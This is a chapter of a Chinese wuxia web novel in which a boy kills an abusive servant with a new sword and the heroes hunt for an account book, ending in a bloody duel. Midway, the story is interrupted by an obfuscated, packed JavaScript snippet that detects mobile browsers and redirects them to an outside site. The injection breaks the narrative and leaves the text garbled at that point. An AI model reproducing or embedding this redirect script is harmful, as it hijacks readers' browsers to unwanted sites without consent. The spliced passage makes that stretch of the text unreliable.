谢泠点点头:“你怎么知道?有个只会喊冤的疯子,嚷嚷得我这两天都没睡好。” 周洄望着她有些憔悴的脸:“倒是我疏忽了,要不要先去客栈休息下。” “无妨,在山上的时候师父还经常让我熬鹰呢,且慢就是这样被我驯服的。” 谢泠嘴角一勾,忽地又想到什么:“怎么不见随便?” 周洄看向一旁:“他有些累,在客栈歇息。” “他出事了?”谢泠心下一紧,就要往前走,周洄一把拉住她的手臂: “只是一路奔波太累了,我已经让人看着了。” “都怪我。”谢泠垂下头,长长地吐出一口气。 周洄手放在她肩上轻声说:“郭大人查案也需要些时日,不如先陪我去个地方?” 都什么时候了还有心思闲逛,谢泠有些不解,但还是跟着去了。 ...... 随便觉得自己睡了很久很久,还做了个奇怪的梦。 梦里,他看到了素未谋面的爹娘,看到了大壮、董不得、修竹哥......只是他们都背对着自己。 他在后面拼命地跑,伸手想够,却怎么都追不上。 直到他被什么绊倒,跌坐在地,一只手忽然伸到他面前。 他抬起头,逆着光,还未看清那人的面容。 天光乍现,他缓缓睁开眼,眼角还带着梦里的湿气。 谢泠和周洄正站在塌前低声说着什么,见他醒来,同时转过身来。 谢泠先一步走了过来,眼睛一弯,冲他笑了笑。 随便眨了眨眼,没说话,只是望着她。 谢泠觉得这孩子是不是睡傻了,怎么一句话也不说,转头埋怨道: “周洄,你这药真的管用?” 周洄笑而不语。 随便这才彻底清醒,腾地坐起,发现自己在客栈,急忙问道: “阿青呢?事情都解决了吗?” 周洄上前摇摇头:“郭大人查案也需要时日,你这次做得很好,我,”他说着看了谢泠一眼:“我和谢泠有份礼要送给你。” 随便眼神一亮,声音还有些沙哑:“什么呀?总不会把和月楼的卤鹅给我捎来了吧?” 谢泠伸手要打,抬到半空又放下,朝木桌那边扬了扬下巴: “银子是我们周大公子付的,样式嘛,是我挑的。” 随便顺着她的视线望过去。 桌上静静地放着一柄长剑。 剑鞘是碧青色,好似春日绿波。 他几步过去,极为小心地双手将剑拿起,这比桃木剑沉了不知多少,剑柄处还嵌着一颗翡翠。 一声剑鸣,他抽出剑身,剑光如水,映出少年的笑。 “喜欢吗?”谢泠双手抱臂问道。 “喜欢!我好喜欢!”他重重点头,又随意挥了几下,咧着嘴笑道:“我有剑了!是真的剑!” 周洄看着少年雀跃的模样开口:“既有了剑,便该为它起个名字。” 随便摸了摸下巴,装模作样地思索起来:“谢泠是孤光剑,那我该叫什么好呢。” 说着,眼睛悄悄往周洄那边瞟。 周洄失笑:“这我可帮不了你,还是你自己起,比较有意义。” 随便点点头,眼睛一亮:“那就叫随心所欲剑好了。” 谢泠与周洄一时沉默不语。 随便却越想越觉得甚好,抱着剑往后跳了一步说:“我觉得这名字特别好!以后行走江湖,路见不平,拔剑相助,姑娘问我名字。” 他挺起胸膛,学着一副大侠口吻,“我就说,在下随心所欲剑随便是也!” 周洄捧场地拍了拍手:“那随少侠要不要去给随心所欲剑开个刃呢。” 谢泠歪头一笑,随便眨眨眼。 ...... 同宁巷,贺府家丁申屠维手里掂着一袋银子,正准备去赌坊逍遥一把。 那群不知天高地厚的家伙,也不打听打听贺家在平东郡的威望。 三十板又如何?有贺大人一句话,不过是走个过场。 只是被个半大少年当面顶撞还上了公堂,到底在弟兄跟前折了面子……他啐了一口,脚下步子加快了些。 忽然,一道身影挡住了她的去路,谢泠抱剑而立,眼神清冽。 感受到来者不善,他想回头,却发现一个男子不知何时堵在他身后,正静静看着他,似笑非笑。 “做什么?”申屠维连忙将银子塞到怀里,靠到墙边:“抢劫也不打听打听你爷爷是谁?” “你谁呀?”一个熟悉的声音响起。 随便抱着新得的长剑从周洄身后走了出来,抬眼看向这个狠狠羞辱过他的恶奴。 申屠维认出随便,眼神立马带上轻蔑:“呦呵,我当时谁?这不是被我踹了好几脚的小杂种吗,怎么,找了帮手想以多欺少?” 周洄示意随便上前。 随便握紧剑柄,故作镇定地小声问道:“就我一个?我,我打不过他。” 谢泠笑道:“你只管打就是。” 有这两人压阵,随便也不再害怕,深吸一口气,唰地抽剑上前,剑尖指着申屠维: “我一个人就能打得你落花流水。” “小兔崽子,我让你知道爷爷的厉害。” 说着申屠维便伸手去抓随便的衣领,随便一个侧步躲过,身形虽不稳,手中长剑还是本能地递了出去。 申屠维狞笑着想要伸手去抓剑柄,手臂却突然无力,随便趁此机会,一剑刺入了他的胸膛。 申屠维疼得直叫:“少侠饶命!”却趁随便松神时,抬腿就是一脚。 随便被踢到一旁,剑也随之拔了出来,他想起那晚被当街打耳光的耻辱,想起他们一句句小杂种的谩骂声。 提起一股劲,便扑了上去,将其扑倒在地,申屠维想要反抗却突然觉得身体无力。 随便跨坐在他身上,双手将剑高高举起,重重落下,一时鲜血四溅,少年闭眼,擦了擦脸上的血迹。 再抬眼时眼中已是狠意。 谢泠眨眨眼,她没料到随便会下死手。 周洄却上前赞许地点点头:“对恶人的善就是对好人的恶,这把剑你可要好好用。” 随便此时才回过神,忙松开剑柄,低头看着自己沾满血的手,有些发抖,声音发颤: “我...我杀人了。” 周洄见状蹲下身,掏出手帕,替他擦掉他脸上的血迹,轻声说: “你的剑杀不死敌人,就护不住想护的人。” “那,现在这个人怎么办?”谢泠望着地上的尸体,眉头紧皱,这个节骨眼上出这种事,可如何收场。 她本只想带随便来教训这恶奴一顿,哪料会闹出人命,更别说随便才十二岁。 周洄没说话,从袖中取出一个小瓶,随意地倒在那人伤口,一股腐烂的烧焦味开始弥漫。 谢泠皱眉捂着鼻子,这个味道,她好像在哪儿闻到过。 ...... 客栈二楼,周洄点了些吃食让人送到客房。 从进屋起他的脸色就不大好看,现在更黑了,抬头看向对面坐着的两个人。 “你们离我那么远做什么?” 谢泠和随便对视了一眼,连忙摇头:“不敢,不敢。” 周洄似是气结,拿起筷子又放下:“随便怕也就罢了,你是没杀过人吗?” 他索性坐直身体,从同宁巷回来这一路,这俩人就一直在背后窃窃私语。 他回头问怎么了,两人就连忙站直摇头说没事。 即便是再喜怒不形于色,周洄此刻也觉得胸口发闷。 “所以,当时破庙的那个刺客,你也是这般处理的?”谢泠小心翼翼询问的态度让周洄更火大了。 “若留他性命,等他醒来,我们的行踪岂不暴露?” 见两个人皆低头不语,周洄忍不住开口:“你当初一人一剑面对那些追兵的时候,不也是手起刀落半分没犹豫吗?” 此话一出,周洄自己先皱了眉,那件事本就是他算计她在先,现如今怎么还能这么若无其事地提出来,况且她当时还受了伤...... 刚想开口,谢泠反驳道:“那怎么能一样,对方都要杀我了,我自然要拼命,这次......” 周洄冷声道:“这次又如何?难道指望他用一把桃木剑去跟别人讲道理不成?” “他才十二岁啊,教训一下就够了,怎么能逼他杀人呢?” “是我逼的吗?剑在他自己手里。” “你当我没瞧见?”谢泠唰地站了起来:“你那会儿分明给那家丁下了软骨粉!” “不然呢,以他的现在的身手,能讨到什么便宜?”周洄静静望着她,语气却很坚定。 “有我在,怕什么?” “谢泠。”周洄的语气沉了下来:“我知道你很强,但你不可能永远护着他,若是生死关头还畏手畏脚,将来他又能护着谁?” “这同你有什么关系?” 谢泠本意想说随便是她的徒弟,她自有一套教人的法子,何须他指指点点。 可这话到周洄耳里,就有了另一番滋味,此刻只觉得好似一盆冷水迎头浇下。 他嘴角一抿,垂下眼沉默片刻,再抬头时,已经恢复了之前的平静: “是啊,与我何干,我与谢女侠,不过萍水相逢,同走一程罢了。”说罢起身推门走了出去。 随便攥着衣角,悄悄抬眼看着谢泠。 她张了张嘴却未曾开口,低着头手指摸着腰间的那枚玉佩。 随便起身走到她旁边轻声说:“你别生气,是,是我自己想要变强的,周洄他只是想帮我。” “变强岂是一朝一夕的事?”谢泠叹了口气,“再说,有我在,总不会让你出事。” 随便摇摇头:“我不想一直躲在你后面,我也想保护你,所以,”他抬起头眼神坚定:“我不后悔杀人。” 谢泠看着随便有些动容,想了想开口:“但你要记住,不是谁惹了你就一定要死,该讲道理的时候还是要讲道理,那贺府恶奴平日里作恶多端,杀了便杀了,往后不可再如此冲动。” 随便点点头,然后又小声补了一句:“其实,周洄他也很可怜......他的兄长为了救他被关在了个不见天日的地方,他娘亲上吊自尽,五日后才被人发现,我觉得,他催我快些成长,也是因为怕我护不住身边的人。 “你被关的这两天,他四处奔走,还安慰我,我觉得他,他不是什么坏人。” 上吊自尽...... 谢泠想到那天他第一次见阿青时的反应,垂下眼眸,良久才轻声问道:“我刚才说的话,很伤人吗?” 随便重重地点点头。 谢泠耷拉个脸,她也没别的意思呀。 ...... 平东郡,牢狱。 那个整日在狱中喊冤的疯子,此刻终于消停了。 他面前站着一位身穿紫袍官服的陌生人,旁边还有一位不曾见过的青衫公子。 “卫文山,这些年靠花船捞了不少银子吧,怎么就落了个如此下场?” 郭子仪翻阅着手中卷宗,淡淡开口:“一桩疑似杀人的罪名也能关你这么久吗?” 卫文山蓬头垢面,眼神却异常锐利:“见不到贺大人,我一个字也不会说。” 郭子仪收起卷宗:“你整日在此喊冤,他可曾来看过你一眼?” 卫文山笑了笑:“来不来的不重要,重要的是,我还活着。” 周洄向前一步:“是因为那本被你藏起来的账册吗?” 卫文山打量了一番周洄:“什么账册,我不明白。” 周洄面上依旧带笑,声音却沉了下去:“你本是那露华楼的楼主,在花柳巷里做着逼良为娼的勾当。后来贺恺之踏着谢氏满门的血坐上这江州牧之位,谢家未冠男子没入掖庭为奴,女子尽数被贬为贱籍,而你,恰好就在那时关了露华楼。” “建起这淮河上的花船,名正言顺地做起了水面上的生意,如此审时度势,每年往贺府送的黄金白银……不下千万两吧?” 卫文山眯起眼:“你究竟是谁?”见周洄不说话,他嗤笑道: “是谁都无关紧要,以为知道些陈年旧事就能吓住我不成,你们若以为靠花船上那几条贱命就能扳倒贺家,未免太天真。” 周洄并未理会他的话:“我只说一句,现在交出账册,你还能留着命在这牢里坐下去。若是不交,不必贺恺之动手,我现在就能让你死。” 卫文山似是被面前之人的威仪震慑,看了一眼旁边的郭子仪,他竟沉默不语,目光又落到周洄身上: “敢问阁下尊姓大名?” 周洄淡淡回道:“我姓周。” ...... 谢泠在客栈附近转悠了好久,始终不见周洄的身影。 莫不是一气之下自己回京了?她摇摇头,阿青与魏冉还在牢里,他绝不会一走了之。 正要转身回客栈,却见前方一个人影缓缓走了过来。 她快步迎了上去:“去哪儿了?” 周洄见她过来,似是有些不自在,别过头闷闷说了一句:“查案。” 谢泠与他并肩:“查到什么了?” 周洄点点头:“溪湖巷那具女尸,郭大人已初步排除了魏冉的嫌疑,明日升堂审理后应当就能放人,至于阿青,花船主人在城外破庙藏有一本账册,记录着这些年与贺府来往的明细,我正要去取。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133698|194736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢泠望着他,想起随便的话,低下头:“今日,今日那句话我是随口说的,你别往心里去。” 周洄淡淡笑了笑:“不会。” 从牢狱中出来时他就明白,自己不过是还沉溺在那一夜淮河岸边的朦胧中,险些忘了身上还压着多少条人命。 周家、谢危、母后......那么多人因他而死,为他而困,他怎么能为这点私情停留。 他要做的事还有很多,两个人终究不同路,不如就趁现在还来得及的时候,放下吧。 “那我陪你去吧。”谢泠看天色渐暗,有些不放心。 周洄摇摇头:“我另有事要托付谢女侠。” 谢泠垂眸,他还是在意那句话:“你说。” “今晚贺府必定会很热闹,我想让你夜探贺府。” “好,天一黑我就去。” 谢泠转身就要去做准备,被周洄拉住。 他望着她:“勿要打草惊蛇,也不要学那魏冉救人。”他顿了顿轻声补了一句:“一切小心。” “你也是。” ...... 夜晚,贺府。 谢泠换上一身夜行衣,悄悄摸上房顶。 今夜贺府的戒备似是更严了,她只得伏在檐角,忽地看到一道黑袍身影进入府中,贺恺之紧随其后,似是对那人很敬重。 黑袍人行到院中,将兜帽取下,却露出一张不过二十岁的面容,说话却颇有威严:“那些莲子都处理干净了吗?” 贺恺之上前回话:“都已办妥。郭子仪果然将线索引向狱中的卫文山,虽不知用了什么手段令他开口,但属下已派人跟去。 谢泠一惊,转身就往城外破庙走,行至半路却被一个身穿黑衣,头带斗笠的男人挡在面前。 二人只对视一眼,便同时抽剑飞身向对方刺去。 近至身前,谢泠一记鞭腿横扫,却被那人抬手扣住脚踝,谢泠用力一蹬,手中长剑向男子面门挥去。 斗笠应声而裂,露出一张俊俏的脸,只是脸上徒生了一道疤痕。 “还不错。”那男子低低一笑,忽地抬腿一脚踹向谢泠的腹部。 谢泠只觉得一口鲜血涌上喉头,连连后退几步,抬手擦掉嘴角的血迹,笑道:“你也是。” 话音未落,再次近身向前。 几招下来,谢泠逐渐占了下风,那男人伸手扣住谢泠的手腕:“你不是我的对手。” 下一瞬竟硬生生将她手腕掰断,一声清脆的响声,孤光剑掉落在地,上面的玉石在深夜中发出寒光。 谢泠忍痛向后一撤,扔出一枚飞镖,趁他闪躲之际拾起长剑,便又要刺去,那男子足尖轻点,腾空翻到谢泠身后,谢泠左肩被刺穿,单膝跪地,血迹很快渗透衣衫。 此时一只海东青扑了过来,却被那男子反手拍落在地。 “且慢!”谢泠捂住肩膀扭头喊道。 她刚才一直未喊,正是清楚此人武功胜过自己太多,且慢出现也是徒劳,可它终究还是见她受伤扑了出来。 男子走到她身后,抬手重重地按住她左肩流血处:“原以为你只是偷听,现在看来,你是想去救那破庙之人。” ...... 周洄来到破庙外,并未直接进去,反而在周围转了好几圈,指尖若有似无地掠过野草。 他在佛像后寻到了那本账册,翻阅中看到除贺家以外,每年还有上万银两流向一个人,只是并没有名字,用昭字代替。 他迅速将那一页撕下,放入怀中。 踏出庙门,他向着四周淡淡开口:“跟了我这么久,还不现身吗?” 四道身影从周围涌出,周洄笑了笑:“就这几个人?贺大人未免太小看我了些。” 那四人互相看了一眼,便齐齐向前,不过半步便纷纷倒地。 周洄摇摇头:“对不住,我这人向来胆小,来到陌生地方自然要四处转转,撒点药粉。” “大公子还是这般谨慎。” 一道声音自前方响起,周洄抬起头,心头一紧。 谢泠被那人拽着摔到地上,身上已是鲜血淋淋,意识都已然恍惚。 周洄只觉浑身血液倒流,声音也带些颤抖: “你把她怎么了?” 男子随意地朝谢泠背部踢了一脚,她便如同落叶般轻飘飘地倒地。 “她在贺府偷听到有人埋伏的消息,便着急赶来救你,不过是被我折了手腕,刺了一剑而已。” 周洄看着倒在地上的少女,袖中的手死死攥紧:“想要账本是吗?我给你就是。” 男子摇摇头:“方才是,现在不是了,都怪下面的人情报不准,不知道大公子竟亲自来了这平东郡,您这般生分,岂不是让王爷伤心?” 周洄的目光仍落在谢泠身上,只怕她失血过多:“你想做什么?我的命如今可不值钱。” 那男子看了谢泠一眼:“这女人竟然能让大公子如此在意?” 周洄此刻不想与他纠缠:“少废话,裴思衡知道你借机发泄私愤吗?他尚且不敢杀我,你敢吗?诸昱。” 诸昱听到自己的名字时,眼神一冽:“裴景和,你到底在得意什么?你现在什么都没有了。” 周洄不再理会,径直走过去蹲下身,轻声唤着谢泠的名字。 诸昱见他看都不看自己,抬腿踹向他腰侧,见周洄跪倒在地,他提剑就朝谢泠劈去。 周洄心下一紧连忙扑了上去,诸昱虽是及时收力,背部却还是结结实实挨了一剑。 周洄仍是将她护在身下,抬眼看着诸昱:“你不敢杀我,也杀不了她。” 诸昱似是被激怒,直接对着周洄又是一脚,俯身抓着他的衣领:“事到如今,我也不在乎那些。” 说着松手,剑风当头劈下—— 一只手却突然出现,凌空抓住了剑刃,鲜血顺着指缝淌过:“叽叽喳喳,啰里啰嗦。” 谢泠不知何时挣扎着起身,挡在周洄面前,声音因剧痛而发颤:“烦死了。” 周洄猛地抬眼,那受伤昏迷的少女不知何时起身,浑身颤栗,依旧双手扛着剑身,被折断的手腕已然扭曲。 他张了张嘴却无法发出声音。 诸昱一怔,手中力道更甚。 谢泠抬眼看向他,忍着手腕的巨痛握住剑身狠狠推了回去。 诸昱来不及防备,剑柄直击他胸口。 趁他后退之时,谢泠眼底汇聚起戾气,咬牙握拳猛击他腹部,那诸昱又是一退,她趁机伸手抓住他的肩膀,将他整个人抡起过肩摔,砸在地上,自己也随即失力倒地,咳出一大口鲜血。 诸昱撑地起身,缓缓转过头望着她: “谢危是你什么人?” 谢泠此时再无半分力气,只觉自己恐怕命丧于此,她抬头看向漆黑的夜空,笑道:“他是我师父。” 周洄愕然失色,呆在原地。